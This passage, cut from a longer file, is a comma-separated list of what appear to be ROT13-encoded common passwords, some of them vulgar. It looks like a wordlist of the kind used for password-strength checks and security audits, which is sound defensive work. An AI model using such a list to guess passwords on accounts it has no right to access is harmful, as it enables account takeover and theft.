r,cbyfxn1,ubgpbpx,ynerqb,jvaqfgne,ioxojom,envqre1,arjjbeyq,ysloxes,pngsvfu1,fubegl1,cvenaun,gernpyr,eblnyr,2234562,fzhesf,zvavba,pnqrapr,syncwnpx,123456c,flqar,135531,ebovaubb,anfqnd,qrpnghe,plorebayvar,arjntr,trzfgbar,wnoon,gbhpuzr,ubbpu,cvtqbt,vaqnubhf,sbamvr,mroen1,whttyr,cngevpx2,avubatb,uvgbzv,byqanil,djresqfn,hxenvan,funxgv,nyyher,xvatevpu,qvnar1,pnanq,cvenzvqr,ubggvr1,pynevba,pbyyrtr1,5641110,pbaarpg1,gurevba,pyhoore,irypeb,qnir1,nfgen1,13579-,nfgebobl,fxvggyr,vfterng,cubgbrf,pimrsu1txp,001100,2pbby4h,7555545,tvatre12,2jfkpqr3,pnzneb69,vainqre,qbzrabj,nfq1234,pbytngr,djregnfqst,wnpx123,cnff01,znkzna,oebagr,juxmlp,crgre123,obtvr,lrptnn,nop321,1dnl2jfk,rasvryq,pnznebm2,genfuzna,obarsvfu,flfgrz32,nmfkqpsito,crgrebfr,vjnaglbh,qvpx69,grzc1234,oynfgbss,pncn200,pbaavr1,oynmva,12233445,frklonol,123456w,oeragsbe,curnfnag,ubzzre,wreelt,guhaqref,nhthfg1,yntre,xnchfgn,obbof1,abxvn5300,ebppb1,klgsh7,fgnef1,ghttre,123fnf,oyvatoyvat,1ohoon,0jaflb0,1trbetr,onvyr,evpuneq2,unonan,1qvnzbaq,frafngvb,1tbysre,znirevpx1,1puevf,pyvagba1,zvpunry7,qentbaf1,fhaevfr1,cvffnag,sngvz,zbcne1,yrinav,ebfgvx,cvmmncvr,987412365,bprnaf11,748159263,phz4zr,cnyzrggb,4e3r2j1d,cnvtr1,zhapure,nefrubyr,xengbf,tnssre,onaqrenf,ovyylf,cenxnfu,penool,ohatvr,fvyire12,pnqqvf,fcnja1,kobkyvir,flyinavn,yvggyrov,524645,shghen,inyqrzne,vfnpf155,cerggltvey,ovt123,555444,fyvzre,puvpxr,arjfglyr,fxlcvybg,fnvybezbba,sngyhie69,wrgnvzr,fvgehp,wrfhfpuevfg,fnzrre,orne12,uryyvba,lraqbe,pbhagel1,rgavrf,pbarwb,wrqvznfg,qnexxavtug,gbbonq,lkpioa,fabbxf,cbea4yvsr,pnyinel,nysnebzrb,tubfgzna,lnaavpx,saxslaoys,ingbybpb,ubzronfr,5550666,oneerg,1111111111mm,bqlffrhf,rqjneqff,snier4,wreelf,pelonol,kfj21dnm,sverfgbe,fcnaxf,vaqvnaf1,fdhvfu,xvatnve,onolpnxrf,ungref,fnenuf,212223,grqqlo,ksnpgbe,phzybnq,euncfbql,qrngu123,guerr3,enppbba,gubznf2,fynlre66,1d2d3d4d5d,gurorf,zlfgrevb,guveqrlr,bexvbk.,abqbhog,ohtfl,fpujrvm,qvzn1996,natryf1,qnexjvat,wrebavzb,zbbacvr,ebanyqb9,crnpurf2,znpx10,znavfu,qravfr1,sryybjrf,pnevbpn,gnlybe12,rcnhyfba,znxrzbarl,bp247athpm,xbpunavr,3rqpise4,ihygher,1dj23r,1234567m,zhapuvr,cvpneq1,kgugtsves,fcbegfgr,cflpub1,gnubr1,perngvi,crevyf,fyheerq,urezvg,fpbbo,qvrfry1,pneqf1,jvcrbhg,jrroyr,vagrten1,bhg3ks,cbjrecp,puevfz,xnyyr,nevnqar,xnvyhn,cunggl,qrkgre1,sbeqzna,ohatnybj,cnhy123,pbzcn,genva1,gurwbxre,wlf6jm,chfflrngre,rngzrr,fyhqtr,qbzvahf,qravfn,gnturhre,lkpioaz,ovyy1,tusqys,300mk,avxvgn123,pnepnff,frznw,enzbar,zhrapura,navzny1,terral,naarznev,qoes134,wrrcpw7,zbyylf,tnegra,fnfubx,vebaznvq,pblbgrf,nfgbevn,trbetr12,jrfgpbnfg,cevzrgvz,123456b,cnapuvgb,ensnr,wncna1,senzre,nhenyb,gbbfubeg,rtbebin,djregl22,pnyyzr,zrqvpvan,jneunjx,j1j2j3j4,pevfgvn,zreyv,nyrk22,xnjnvv,punggr,jnetnzrf,hgibyf,zhnqqvo,gevaxrg,naqernf1,wwwww1,pyrevp,fpbbgref,phagyvpx,tttttt1,fyvcxabg1,235711,unaqphss,fghffl,thrff1,yrvprfgr,ccccc1,cnffr,ybirtha,purilzna,uhtrpbpx,qevire1,ohggfrk,cflpuanhg1,plore1,oynpx2,nycun12,zryobhea,zna123,zrgnyzna,lwqfdhwy,oybaqv,ohatrr,sernx1,fgbzcre,pnvgyva1,avxvgvan,sylnjnl,cevxby,ortbbq,qrfcrenq,nheryvhf,wbua1234,jubflbheqnqql,fyvzrq123,oergntar,qra123,ubgjurry,xvat123,ebbqlcbb,vmmvpnz,fnir13gk,jnecgra,abxvn3310,fnzbyrg,ernql1,pbbcref,fpbgg123,obavgb,1nnnnn,lbzbzzn,qnjt1,enpur,vgjbexf,nfrperg,srapre,451236,cbyxn,byvirggv,flfnqzva,mrccyva,fnawhna,479373,yvpxrz,ubaqnpek,chynzrn,shgher1,anxrq1,frklthl,j4t8ng,ybyyby1,qrpyna,ehaare1,ehzcyr,qnqql123,4fam9t,tenaqcevk,pnypvb,junggurshpx,antebz,nffyvpx,craafg,artevg,fdhvttl,1223334444,cbyvpr22,tvbinaa,gbebagb1,gjrrg,lneqoveq,frntngr,gehpxref,554455,fpvzvgne,crfpngbe,fylqbt,tnlfrk,qbtsvfu,shpx777,12332112,dnmkfjrq,zbexbixn,qnavryn1,vzonpx,ubeal69,789123456,123456789j,wvzzl2,onttre,vybir69,avxbynhf,ngqusxz,erovegu,1111nnnn,creinfvir,twtrhsd,qgr4hj,tsuaocsl,fxryrgbe,juvgarl1,jnyxzna,qryberna,qvfpb1,555888,nf1234,vfuvxnjn,shpx12,erncre1,qzvgevv,ovtfubg,zbeevffr,chetra,djre4321,vgnpuv,jvyylf,123123djr,xvffxn,ebzn123,genssbeq,fx84yvsr,326159487,crqebf,vqvbz,cybire,orobc,159875321,wnvyoveq,neebjurn,djnfmk123,mnkfpqis,pngybire,onxref,13579246,obarf69,irezbag1,uryyblbh,fvzrba,purilm71,shathl,fgnetnmr,cnebycneby,fgrcu1,ohool,ncngul,cbccrg,ynkzna,xryyl123,tbbqarjf,741236,obare1,tnrgnab,nfgbaivyyn,iveghn,yhpxlobl,ebpurfgr,uryyb2h,rybuvz,gevttre1,pfgevxr,crcfvpbyn,zvebfyni,96385274,svfgshpx,puriny,zntlne,firgynaxn,yoslwkes,znzrqbi,123123123d,ebanyqb1,fpbggl1,1avpbyr,cvggohyy,serqq,ooooo1,qntjbbq,tsuxsigla,tuoyrueo,ybtna5,1wbeqna,frkobzo,bzrtn2,zbagnhx,258741,qglgus,tvooba,jvanzc,gurobzo,zvyyreyv,852654,trzva,onyql,unysyvsr2,qentba22,zhyoreel,zbeevtna,ubgry6,mbetyho,fhesva,951159,rkpryy,neunatry,rznpuvar,zbfrf1,968574,erxynzn,ohyyqbt2,phgvrf,onepn,gjvatb,fnore,ryvgr11,erqgehpx,pnfnoyna,nfuvfu,zbarll,crccre12,paugxgj,ewpaoe,nefpuybpu,curavk,pnpubeeb,fhavgn,znqbxn,wbfryhv,nqnzf1,zlzbarl,urzvphqn,slhgxwe,wnxr12,puvpnf,rrrrr1,fbaalobl,fznegvrf,oveql,xvggra1,paspoe,vfynaq1,xhebfnxv,gnrxjbaq,xbasrgxn,oraargg1,bzrtn3,wnpxfba2,serfpn,zvanxb,bpgnivna,xona667,srlrabbeq,zhnlgunv,wnxrqbt,sxgepslyuwqls,1357911d,cuhxrg,frkfynir,sxgepslyuwqok,nfqswx,89015173454,djregl00,xvaqohq,rygbeb,frk6969,alxavpxf,12344321d,pnonyyb,rirasybj,ubqqyr,ybir22,zrgeb1,znunyxb,ynjqbt,gvtugnff,znavgbh,ohpxvr,juvfxrl1,nagba123,335533,cnffjbeq4,cevzb,enznve,gvzob,oenlqra,fgrjvr,crqeb1,lbexfuve,tnafgre,uryybgur,gvccl1,qverjbys,trarfv,ebqevt,raxryv,inm21099,fbeprere,jvaxl,barfubg,obttyr,freroeb,onqtre1,wncnarf,pbzvpobbx,xnzrunzr,nypng,qravf123,rpub45,frkobl,te8shy,ubaqb,ibrgony,oyhr33,2112ehfu,trarivri,qnaav1,zbbfrl,cbyxza,znggurj7,vebaurnq,ubg2gebg,nfuyrl12,fjrrcre,vzbtra,oyhr21,ergrc,fgrnygu1,thvgneen,oreaneq1,gngvna,senaxshe,isauojs,fynpxvat,unun123,963741,nfqnfqnf,xngrabx,nvesbepr1,123456789dnm,fubgtha1,12djnfm,erttvr1,funeb,976431,cnpvsvpn,quvc6n,arcgha,xneqba,fcbbxl1,ornhg,555555n,gbbfjrrg,gvrqhc,11121314,fgnegnp,ybire69,erqvfxn,cvengn,isueoc,1234djregl,raretvmr,unafbyb1,cynlob,yneel123,brzqyt,pawisawxwh,n123123,nyrkna,tbunjxf,nagbavhf,sponlrea,znzob,lhzzl1,xerzyva,ryyra1,gerzrer,isvrxm,oryyrihr,puneyvr9,vmnoryyn,znyvfuxn,srezng,ebggreqn,qnjttl,orpxrg,punfrl,xenzre1,21125150,ybyvg,pnoevb,fpuybat,nevfun,irevgl,3fbzr,snibevg,znevpba,geniryyr,ubgcnagf,erq1234,tneergg1,ubzr123,xanes,frira777,svtzrag,nfqrjd,pnafrpb,tbbq2tb,jneuby,gubznf01,cvbarr,ny9ntq,cnanprn,puril454,oenmmref,bevbyr,nmregl123,svanysna,cngevpvb,abegufgn,eroryqr,ohyyqb,fgnyybar,obbtvr1,7hsglk,psusawq,pbzchfn,pbeaubyv,pbasvt,qrrer,ubbcfgre,frchyghen,tenffubc,onolthey,yrfob,qvprzna,cebireof,erqqentba,aheorx,gvtrejbb,fhcreqhc,ohmmfnj,xnxnebgb,tbytb13,rqjne,123dnm123,ohggre1,fffff1,grknf2,erfcrxg,bh812vp,123456dnm,55555n,qbpgbe1,zptjver,znevn123,nby999,pvaqref,nn1234,wbarff,tuoewxzlw,znxrzbar,fnzzlobl,567765,380myvxv,gurenira,grfgzr,zlyrar,ryiven26,vaqvtyb,gvenzvfh,funaanen,onol1,123666,tsueru,cncrephg,wbuazvfu,benatr8,obtrl1,zhfgnat7,ontcvcrf,qvznevx,ifvwlwe,4637324,enintr,pbtvgb,frira11,angnfuxn,jnembar,ue3lgz,4serr,ovtqrr,000006,243462536,ovtobv,123333,gebhgf,fnaql123,fmrinfm,zbavpn2,thqrevna,arjyvsr1,engpurg,e12345,enmbeonp,12345v,cvnmmn31,bqqwbo,ornhgl1,sssss1,naxyrg,abqebt,crcvg,byviv,chenivqn,eboreg12,genafnz1,cbegzna,ohoonqbt,fgrryref1,jvyfba1,rvtugonyy,zrkvpb1,fhcreobl,4esi5gto,zmrcno,fnzhenv1,shpxfyhg,pbyyrra1,tveqyr,isepoirp,d1j2r3e4g,fbyqvre1,19844891,nylffn1,n12345n,svqryvf,fxrygre,abybir,zvpxrlzbhfr,seruyrl,cnffjbeq69,jngrezry,nyvfxn,fbppre15,12345r,ynqloht1,nohynsvn,nqntvb,gvtreyvy,gnxrunan,urpngr,obbgarpx,whasna,nevtngb,jbaxrggr,obool123,gehfgabbar,cunagnfz,132465798,oevnawb,j12345,g34isep1991,qrnqrlr,1eboreg,1qnqql,nqvqn,purpx1,tevzybpx,zhssv,nvejnyx,cevmenx,bapyvpx,ybatornp,reavr1,rnqtor,zbber1,travh,funqbj123,ohtntn,wbanguna1,pwewxwqs,beybin,ohyqbt,gnyba1,jrfgcbeg,nravzn,541233432442,onefhx,puvpntb2,xryylf,uryyorag,gbhtuthl,vfxnaqre,fxbny,jungvfvg,wnxr123,fpbbgre2,stwesxotpop,tunaqv,ybir13,nqrycuvn,iwuewqes,nqeranyv,avhavn,wrzbrqre,envaob,nyy4h8,navzr1,serrqbz7,frencu,789321,gbzzlf,nagzna,svergehp,arbtrb,angnf,ozjz3,sebttl1,cnhy1,znzvg,onlivrj,tngrjnlf,xhfnantv,vungrh,serqrev,ebpx1,praghevba,tevmyv,ovttva,svfu1,fgnyxre1,3tveyf,vybircbe,xybbgmnx,ybyyb,erqfbk04,xvevyy123,wnxr1,cnzcref,infln,unzzref1,grnphc,gbjvat,prygvp1,vfugne,lvatlnat,4904f677075,qnup1,cngevbg1,cngevpx9,erqoveqf,qberzv,erorpp,lbbubb,znxnebin,rcvcubar,estoasl,zvyrfq,oyvfgre,puryfrnsp,xngnan1,oynpxebfr,1wnzrf,cevzebfr,fubpx5,uneq1,fpbbol12,p6u12b6,qhfgbss,obvat,puvfry,xnzvy,1jvyyvnz,qrsvnag1,glihtd,zc8b6q,nnn340,ansrgf,fbaarg,syluvtu,242526,perjpbz,ybir23,fgevxr1,fgnvejnl,xnghfun,fnynznaq,phcpnxr1,cnffjbeq0,007wnzrf,fhaavr,zhygvflap,uneyrl01,grdhvyn1,serq12,qevire8,d8mb8jmd,uhagre01,zbmmre,grzcbene,rngzrenj,zeoebjakk,xnvyrl,flpnzber,sybttre,gvaphc,enunfvn,tnalzrqr,onaqren,fyvatre,1111122222,inaqre,jbbqlf,1pbjobl,xunyrq,wnzvrf,ybaqba12,onolobb,gmcinj,qvbtrarf,ohqvpr,znievpx,135797531,purrgn,znpebf,fdhbax,oynpxore,gbcshry,ncnpur1,snypba16,qnexwrqv,purrmr,isuigxsy,fcnepb,punatr1,tsusvs,serrfgly,xhxhehmn,ybirzr2,12345s,xbmybi,furecn,zneoryyn,44445555,obprcuhf,1jvaare,nyine,ubyylqbt,tbarsvfu,vjnagva,onezna,tbqvfybir,nznaqn18,escslaot,rhtra,nopqrs1,erqunjx,guryrzn,fcbbazna,onyyre1,uneel123,475869,gvtrezna,pqgawkes,znevyyvb,fpevooyr,ryavab,pnethl,unequrnq,y2t7x3,gebbcref,fryra,qentba76,nagvthn,rjgbfv,hylffr,nfgnan,cnebyv,pevfgb,pnezrk,znewna,onffsvfu,yrgvgor,xnfcnebi,wnl123,19933991,oyhr13,rlrpnaql,fpevor,zlybeq,hxsyowxrp,ryyvr1,ornire1,qrfgeb,arhxra,unyscvag,nzryv,yvyyl1,fngnavp,katjbw,12345gerjd,nfqs1,ohyyqbtt,nfnxhen,wrfhpevfg,syvcfvqr,cnpxref4,ovttl,xnqrgg,ovgrzr69,oboqbt,fvyiresb,fnvag1,oboob,cnpxzna,xabjyrqt,sbbyvb,shffony,12345t,xbmrebt,jrfgpbnf,zvavqvfp,aoipkj,znegvav1,nynfgnve,enfratna,fhcreorr,zrzragb,cbexre,yran123,syberap,xnxnqh,ozj123,trgnyvsr,ovtfxl,zbaxrr,crbcyr1,fpuynzcr,erq321,zrzlfrys,0147896325,12345678900987654321,fbppre14,ernyqrny,tstwkes,oryyn123,whttf,qbevgbf,prygvpf1,crgreovyg,tuoqgaoeo,tahfznf,kpbhagel,tuoqga1,ongzna99,qrhfrk,tgauwqs,oynoynoy,whfgre,znevzon,ybir2,erewxes,nyunzoen,zvpebf,fvrzraf1,nffznfgr,zbbavr,qnfunqnfun,ngloep,rrrrrr1,jvyqebfr,oyhr55,qnivqy,kec23d,fxloyhr,yrb123,ttttt1,orfgsevraq,senaal,1234ezio,sha123,ehyrf1,fronfgvra,purfgre2,unxrrz,jvafgba2,snegevccre,ngynag,07831505,vyhifrk,d1n2m3,yneelf,009900,tuwxwh,pncvgna,evqre1,dnmkfj21,orybpuxn,naql123,uryyln,puvppn,znkvzny,whretra,cnffjbeq1234,ubjneq1,dhrgmny,qnavry123,dcjbrvehgl,123555,ouneng,sreenev3,ahzoahgf,fninag,ynqlqbt,cuvcfv,ybirchffl,rgbvyr,cbjre2,zvggra,oevgarlf,puvyvqbt,08522580,2spuot,xvaxl1,oyhrebfr,ybhyb,evpneqb1,qbdid3,xfjoqh,013pcsmn,gvzbun,tuoqgatuoqga,3fgbbtrf,trneurnq,oebjaf1,t00ore,fhcre7,terraohq,xvggl2,cbbgvr,gbbyfurq,tnzref,pbssr,vovyy123,serrybir,nanfnmv,fvfgre1,wvttre,angnfu,fgnpl1,jrebavxn,yhmrea,fbppre7,ubbcyn,qzbarl,inyrevr1,pnarf,enmqingev,jnfurer,terrajbb,esuwxols,nafryz,cxkr62,znevor,qnavry2,znkvz1,snprbss,pneovar,kgxwqge,ohqql12,fgengbf,whzczna,ohggbpxf,ndfjqrse,crcfvf,fbarpuxn,fgrryre1,ynazna,avrgmfpu,onyym,ovfphvg1,jekfgv,tbbqsbbq,whiragh,srqrevp,znggzna,ivxn123,fgeryrp,wyrqslkoe,fvqrfubj,4yvsr,serqqres,ovtjvyyl,12347890,12345671,funevx,ozj325v,slyugdes,qnaaba4,znexl,zeunccl,qeqbbz,znqqbt1,cbzcvre,preoren,tbboref,ubjyre,wraal69,riryl,yrgvgevq,pguhggqls,sryvc,fuvmmyr,tbys12,g123456,lnznu,oyhrnezl,fdhvful,ebkna,10vapurf,qbyysnpr,onoltvey1,oynpxfgn,xnarqn,yrkvatgb,pnanqvra,222888,xhxhfuxn,fvfgrzn,224422,funqbj69,ccfcnaxc,zryybaf,oneovr1,serr4nyy,nysn156,ybfgbar,2j3r4e5g,cnvaxvyyre,eboovr1,ovatre,8qvup6,wnfcr,eryyvx,dhnex,fbtbbq,ubbcfgne,ahzore2,fabjl1,qnq2bjah,perfgn,djr123nfq,uwislwqs,tvofbaft,dot26v,qbpxref,tehatr,qhpxyvat,ysvrxm,phagfbhc,xnfvn1,1gvttre,jbnvav,erxfvb,gzbarl,sversvtugre,arheba,nhqvn3,jbbtvr,cbjreobb,cbjreznp,sngpbpx,12345666,hcaszp,yhfgshy,cbea1,tbgybir,nzlyrr,xolgdes,11924704,25251325,fnenfbgn,frkzr,bmmvr1,oreyvare,avttn1,thngrzny,frnthyyf,vybirlbh!,puvpxra2,djregl21,010203040506,1cvyybj,yvool1,ibqbyrl,onpxynfu,cvtyrgf,grvhorfp,019283,ibaarthg,crevpb,guhaqr,ohpxrl,tgkglzes,znahavgr,vvvvv1,ybfg4815162342,znqbaa,270873_,oevgarl1,xriyne,cvnab1,obbaqbpx,pbyg1911,fnynzng,qbzn77af,nahenqun,pauwdes,ebggjrvy,arjzbba,gbctha1,znhfre,svtugpyh,oveguqnl21,erivrjcn,urebaf,nnffqqss,ynxref32,zryvffn2,ierqvan,wvhwvgfh,ztboyhr,funxrl,zbff84,12345mkpio,shafrk,orawv1,tnepv,113322,puvcvr,jvaqrk,abxvn5310,cjkq5k,oyhrznk,pbfvgn,punyhcn,gebgfxl,arj123,t3hwjt,arjthl,pnanovf,tantrg,uncclqnlf,sryvkk,1cngevpx,phzsnpr,fcnexvr,xbmybin,123234,arjcbegf,oebapbf7,tbys18,erplpyr,ununu,uneelcbg,pnpubaqb,bcra4zr,zvevn,thrffvg,crcfvbar,xabpxre,hfzp1775,pbhagnpu,cynlr,jvxvat,ynaqebire,penpxfriv,qehzyvar,n7777777,fzvyr123,znamnan,cnagl,yvoregn,cvzc69,qbysna,dhnyvgl1,fpuarr,fhcrefba,rynvar22,jroubzcnff,zeoebjak,qrrcfrn,4jurry,znznfvgn,ebpxcbeg,ebyyvr,zlubzr,wbeqna12,xsitwkes,ubpxrl12,frntenir,sbeq1,puryfrn2,fnzfnen,znevffn1,ynzrfn,zbovy1,cvbgerx,gbzzltha,lllll1,jrfyrl1,ovyyl123,ubzrefvz,whyvrf,nznaqn12,funxn,znyqvav,fhmrarg,fcevatfg,vvvvvv1,lnxhmn,111111nn,jrfgjvaq,urycqrfx,naanznev,oevatvg,ubcrshyy,uuuuuuu1,fnljung,znmqnek8,ohybin,wraavsr1,onvxny,tsuwxzkoe,ivpgbevn1,tvmzb123,nyrk99,qrswnz,2tveyf,fnaqebpx,cbfvgvib,fuvatb,flapznfg,bcrafrfn,fvyvpbar,shpxvan,fraan1,xneybf,qhssorre,zbagntar,truevt,gurgvpx,crcvab,unzohetr,cnenzrqvp,fpnzc,fzbxrjrrq,snoertnf,cunagbzf,irabz121293,2583458,onqbar,cbeab69,znajuber,isis123,abgntnva,ioxgls,esaguoles,jvyqoyhr,xryyl001,qentba66,pnzryy,phegvf1,sebybin,1212123,qbgurqrj,glyre123,erqqentb,cynargk,cebzrgur,tvtbyb,1001001,guvfbar,rhtrav,oynpxfur,pehmnmhy,vapbtavgb,chyyre,wbbanf,dhvpx1,fcvevg1,tnmmn,mrnybg,tbeqvgb,ubgebq1,zvgpu1,cbyyvgb,uryypng,zlgubf,qhyhgu,383cqwiy,rnfl123,urezbf,ovaxvr,vgf420,ybirpens,qnevra,ebzvan,qbenrzba,19877891,flpybar,unqbxra,genafcbe,vpuveb,vagryy,tnetnzry,qentba2,jnicmg,557744,ewj7k4,wraalf,xvpxvg,ewlasea,yvxrvg,555111,pbeihf,arp3520,133113,zbbxvr1,obpuhz,fnzfhat2,ybpbzna0,154htrvh,isisotsts,135792,[fgneg],graav,20001,irfgnk,uhszdj,arirentnva,jvmxvq,xwtsas,abxvn6303,gevfgra,fnygnang,ybhvr1,tnaqnys2,fvasbavn,nycun3,gbyfgbl,sbeq150,s00one,1uryyb,nyvpv,yby12,evxre1,uryybh,333888,1uhagre,dj1234,ivoengbe,zrgf86,43211234,tbamnyr,pbbxvrf1,fvffl1,wbua11,ohoore,oyhr01,phc2006,tgxziglo,anmnergu,urlonol,fherfu,grqqvr,zbmvyyn,ebqrb1,znqubhfr,tnzren,123123321,anerfu,qbzvabf,sbkgebg1,gnenf,cbjrehc,xvcyvat,wnfbao,svqtrg,tnyran,zrngzna,nycnpvab,obbxznex,snegvat,uhzcre,gvgfanff,tbetba,pnfgnjnl,qvnaxn,nahgxn,trpxb1,shpxybir,pbaarel,jvatf1,revxn1,crbevn,zbarlznxre,vpunobq,urnira1,cncreobl,cunfre,oernxref,ahefr1,jrfgoebz,nyrk13,oeraqna1,123nfq123,nyzren,tehoore,pynexvr,guvfvfzr,jryxbz01,51051051051,pelcgb,serrarg,csylojs,oynpx12,grfgzr2,punatrvg,nhgbonua,nggvpn,punbff,qraire1,grepry,tanfure23,znfgre2,infvyvv,furezna1,tbzre,ovtohpx,qrerx1,djremkpi,whzoyr,qentba23,neg131313,ahznex,ornfgl,pkspazggpaz,hcqbja,fgnevba,tyvfg,fkud65,enatre99,zbaxrl7,fuvsgre,jbyirf1,4e5g6l,cubar1,snibevgr5,fxlgbzzl,noenpnqn,1znegva,102030405060,tngrpu,tvhyvb,oynpxgbc,purre1,nsevpn1,tevmmyl1,vaxwrg,furznyrf,qhenatb1,obbare,11223344d,fhcretvey,inalnerfcrxg,qvpxyrff,fevynaxn,jrncbak,6fgevat,anfuivyy,fcvprl,obkre1,snovra,2frkl2ub,objuhag,wreelyrr,npebong,gnjarr,hyvffr,abyvzvg8,y8t3oxqr,crefuvat,tbeqb1,nyybire,tboebjaf,123432,123444,321456987,fcbba1,uuuuu1,fnvyvat1,tneqravn,grnpur,frkznpuvar,gengngn,cvengr1,avprbar,wvzobf,314159265,dfqstu,obooll,ppppp1,pneyn1,iwxwygj,fninan,ovbgrpu,sevtvq,123456789t,qentba10,lrfvnz,nycun06,bnxjbbq,gbbgre,jvafgb,enqvbzna,inivyba,nfanro,tbbtyr123,anevzna,xryylo,qgulwpaz,cnffjbeq6,cneby1,tbys72,fxngr1,ygugqw,1234567890f,xraarg,ebffvn,yvaqnf,angnyvln,cresrpgb,rzvarz1,xvgnan,nentbea1,erkban,nefranys,cynabg,pbbcr,grfgvat123,gvzrk,oynpxobk,ohyyurnq,oneonevna,qernzba,cbynevf1,psiwxga,seqsuori,tnzrgvzr,fyvcxabg666,abznq1,ustpwyom,unccl69,svqqyre,oenmvy1,wbrobl,vaqvnanyv,113355,boryvfx,gryrznex,tubfgevq,cerfgba1,nabavz,jryypbzr,irevmba1,fnlnatxh,prafbe,gvzrcbeg,qhzzvrf,nqhyg1,aoasloe,qbatre,gunyrf,vnztnl,frkl1234,qrnqyvsg,cvqnenf,qbebtn,123djr321,cbeghtn,nfqstu12,uncclf,pnqe14ah,cv3141,znxfvx,qevooyr,pbegynaq,qnexra,fgrcnabin,obzzry,gebcvp,fbpuv2014,oyhrtenf,funuvq,zreunon,anpub,2580456,benatr44,xbatra,3phqwm,78tvey,zl3xvqf,znepbcby,qrnqzrng,tnoovr,fnehzna,wrrczna,serqqvr1,xngvr123,znfgre99,ebany,onyyont,pragnhev,xvyyre7,kdtnaa,cvarpbar,wqrrer,trveol,nprfuvtu,55832811,crcfvznk,enlqra,enmbe1,gnyylub,rjryvan,pbyqsver,sybevq,tybgrfg,999333,frirahc,oyhrsva,yvzncreh,ncbfgby,oboovaf,punezrq1,zvpuryva,fhaqva,pragnhe,nycunbar,puevfgbs,gevny1,yvbaf1,45645,whfg4lbh,fgnesyrr,ivpxv1,pbhtne1,terra2,wryylsvf,ongzna69,tnzrf1,uvuwr863,penmlmvy,j0ez1,bxyvpx,qbtovgr,lffhc,fhafgne,cncevxn,cbfgbi10,124578963,k24vx3,xnanqn,ohpxfgre,vybirnzl,orne123,fzvyre,ak74205,buvbfgng,fcnprl,ovtovyy,qbhqb,avxbynrin,upyrro,frk666,zvaql1,ohfgre11,qrnpbaf,obarff,awxpafd,pnaql2,penpxre1,ghexrl1,djreglh1,tbterra,gnmmmm,rqtrjvfr,enatre01,djregl6,oynmre1,nevna,yrgzrvaabj,pvtne1,wwwwww1,tevtvb,sevra,grapuh,s9yzjq,vzvfflbh,svyvcc,urnguref,pbbyvr,fnyrz1,jbbqqhpx,fphonqvi,123xng,enssnryr,avxbynri,qncmh455,fxbbgre,9vapurf,ygutsuwxz,te8bar,ssssss1,mhwyes,nznaqn69,tyqzrb,z5jxds,eseygxs,gryrivfv,obawbh,cnyrnyr,fghss1,phznybg,shpxzrabj,pyvzo7,znex1234,g26ta4,barrlr,trbetr2,hgllsyod,uhagvat1,genpl71,ernql2tb,ubgthl,npprffab,punetre1,ehqrqbt,xzsqz,tbbore1,fjrrgvr1,jgczwtqn,qvzrafvb,byyvr1,cvpxyrf1,uryyenvfre,zhfgqvr,123mmm,99887766,fgrcnabi,ireqha,gbxraonq,nangby,onegraqr,pvqxvq86,baxrym,gvzzvr,zbbfrzna,cngpu1,12345678p,znegn1,qhzzl1,orgunal1,zlsnzvyl,uvfgbel1,178500,yfhgvtre,culqrnhk,zbera,qoeawuwqok,taokes,havqra,qehzzref,nocoes,tbqobl,qnvfl123,ubtna1,engcnpx,veynaq,gnatrevar,terqql,syber,fdehapu,ovyylwbr,d55555,pyrzfba1,98745632,znevbf,vfubg,natryva,npprff12,anehgb12,ybyyl,fpknxi,nhfgva12,fnyynq,pbby99,ebpxvg,zbatb1,znex22,tuolagu,nevnqan,fraun,qbpgb,glyre2,zbovhf,unzzneol,192168,naan12,pynver1,ckk3rsgc,frpergb,terrarlr,fgwnoa,onthivk,fngnan666,euopaolwkes,qnyynfgk,tnesvry,zvpunryw,1fhzzre,zbagna,1234no,svyoreg,fdhvqf,snfgonpx,ylhqzvyn,puhpub,rntyrbar,xvzoreyr,ne3lhx3,wnxr01,abxvqf,fbppre22,1066nq,onyyba,purrgb,erivrj69,znqrven,gnlybe2,fhaal123,puhoof,ynxrynaq,fgevxre1,cbepur,djreglh8,qvtvivrj,tb1234,srenev,ybirgvgf,nqvgln,zvaabj,terra3,zngzna,pryycuba,sbeglgjb,zvaav,chpnen,69n20n,ebzna123,shragr,12r3r456,cnhy12,wnpxl,qrzvna,yvggyrzna,wnqnxvff,iynq1997,senapn,282860,zvqvna,ahamvb,knpprff2,pbyvoev,wrffvpn0,erivyb,654456,uneirl1,jbys1,znpneran,pberl1,uhfxl1,nefra,zvyyravh,852147,pebjrf,erqpng,pbzong123654,uhttre,cfnyzf,dhvkgne,vybirzbz,gblbg,onyyff,vybirxvz,freqne,wnzrf23,niratre1,freraqvc,znynzhgr,anytnf,grsyba,funttre,yrgzrva6,ilwhwawkog,nffn1234,fghqrag1,qvkvrqbt,tmalojs13,shpxnff,nd1fj2qr3,eboebl,ubfrurnq,fbfn21,123345,vnf100,grqql123,cbccva,qty70460,mnabmn,sneuna,dhvpxfvyire,1701q,gnwznuny,qrcrpurzbqr,cnhypura,natyre,gbzzl2,erpbvy,zrtnznak,fpnerpeb,avpbyr2,152535,esigto,fxhaxl,snggl1,fngheab,jbezjbbq,zvyjnhxr,hqojfx,frkybire,fgrsn,7otvdx,tsauoe,bzne10,oengna,yolsiw,fylsbk,sberfg1,wnzob,jvyyvnz3,grzchf,fbyvgnev,yhplqbt,zhemvyxn,djrnfqmkp1,irucoxes,12312345,svkvg,jbbovr,naqer123,123456789k,yvsgre,mvanvqn,fbppre17,naqbar,sbkong,gbefgra,nccyr12,gryrcbeg,123456v,yrtybire,ovtpbpxf,ibybtqn,qbqtre1,znegla,q6b8cz,anpvban,rntyrrlr,znevn6,evzfubg,oragyrl1,bpgntba,oneobf,znfnxv,terzvb,fvrzra,f1107q,zhwrerf,ovtgvgf1,puree,fnvagf1,zecvax,fvzena,tumloe,sreenev2,frperg12,gbeanqb1,xbpunz,cvpbyb,qrarzr,barybir1,ebyna,srafgre,1shpxlbh,pnoovr,crtnfb,anfglobl,cnffjbeq5,nvqnan,zvar2306,zvxr13,jrgbar,gvttre69,lgermn,obaqntr1,zlnff,tbybin,gbyvx,uncclobl,cbvyxw,avzqn2x,enzzre,ehovrf,uneqpber1,wrgfrg,ubbcf1,wynhqvb,zvffxvgg,1puneyvr,tbbtyr12,gurbar1,cuerq,cbefpu,nnyobet,yhsg4,puneyvr5,cnffjbeq7,tabfvf,qwtnoono,1qnavry,ivaal,obeevf,phzhyhf,zrzore1,gebtqbe,qneguznh,naqerj2,xgwloy,eryvflf,xevfgr,enfgn220,putboaqt,jrrare,djregl66,sevggre,sbyybjzr,serrzna1,onyyra,oybbq1,c